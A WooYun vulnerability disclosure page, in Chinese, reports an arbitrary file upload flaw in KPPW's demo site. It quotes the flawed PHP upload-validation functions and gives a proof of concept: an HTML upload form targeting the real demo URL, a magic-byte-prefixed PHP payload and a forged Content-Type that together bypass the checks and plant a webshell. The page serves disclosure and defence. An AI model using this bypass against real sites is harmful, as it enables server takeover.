当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170283

漏洞标题:kppw任意代码执行漏洞

相关厂商:keke.com

漏洞作者: monkey

提交时间:2016-01-16 09:01

修复时间:2016-01-21 09:10

公开时间:2016-01-21 09:10

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-16: 细节已通知厂商并且等待厂商处理中
2016-01-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

武汉客客demo网站存在任意文件上传漏洞,可获取webshell。

详细说明:

demo.kppw.cn为武汉客客信息有限公司产品的展示网址。
网站在文件类型过滤时逻辑不严谨导致可以绕过验证,上传php文件,执行任意代码。
具体分析:
文件Keke_upload_class.php中的validateFormat()函数存在问题:
function validateFormat() {
if (! is_array ( $this->fileFormat ) || in_array ( strtolower ( $this->ext ), $this->fileFormat ) || in_array ( strtolower ( $this->returninfo ['type'] ), $this->fileFormat ))
return true;
else
return false;
}
validateFormat()验证文件格式时不严谨,$this->returninfo ['type'] 是从http头中直接获取文件类型进行验证,导致通过修改http头的方式绕过validateFormat函数。
同时文件 keke_file_class.php在过滤时也存在漏洞,这个漏洞之前有人提交过,但是厂商没有修改,只是又添加了一个validateFormt()函数。
static function get_file_type($file_path, $ext = '')
in_array ( $typeCode, array ('8297', '8075' ) ) && $fileType = $ext;
这里逻辑有问题,判断文件头类型后直接把文件的后缀名赋值给了$fileType。导致了可以绕过fileFilter()函数。
同时绕过以上两个函数,可上传php后门。

漏洞证明:

1、构造上传客户端html文件:
<form method="POST" enctype="multipart/form-data" action="http://demo.kppw.cn/index.php?do=ajax&view=upload&file_type=big&filename=filename">
请选择文件: <br>
<input name="filename" type="file"><br>
<input type="submit" value="上传文件">
</form>
2.shell前面加上Ra
Ra<?php phpinfo(); ?>
3、上传shell

图片1.png


图片2.png


将文件content-Type改为:jpg

图片3.png


上传文件路径为:

图片4.png


访问上传代码http://demo.kppw.cn/data/uploads/2016/01/15/148962065456990284bfe19.php

图片6.png


修复方案:

加强过滤

版权声明:转载请注明来源 monkey@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-21 09:10

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价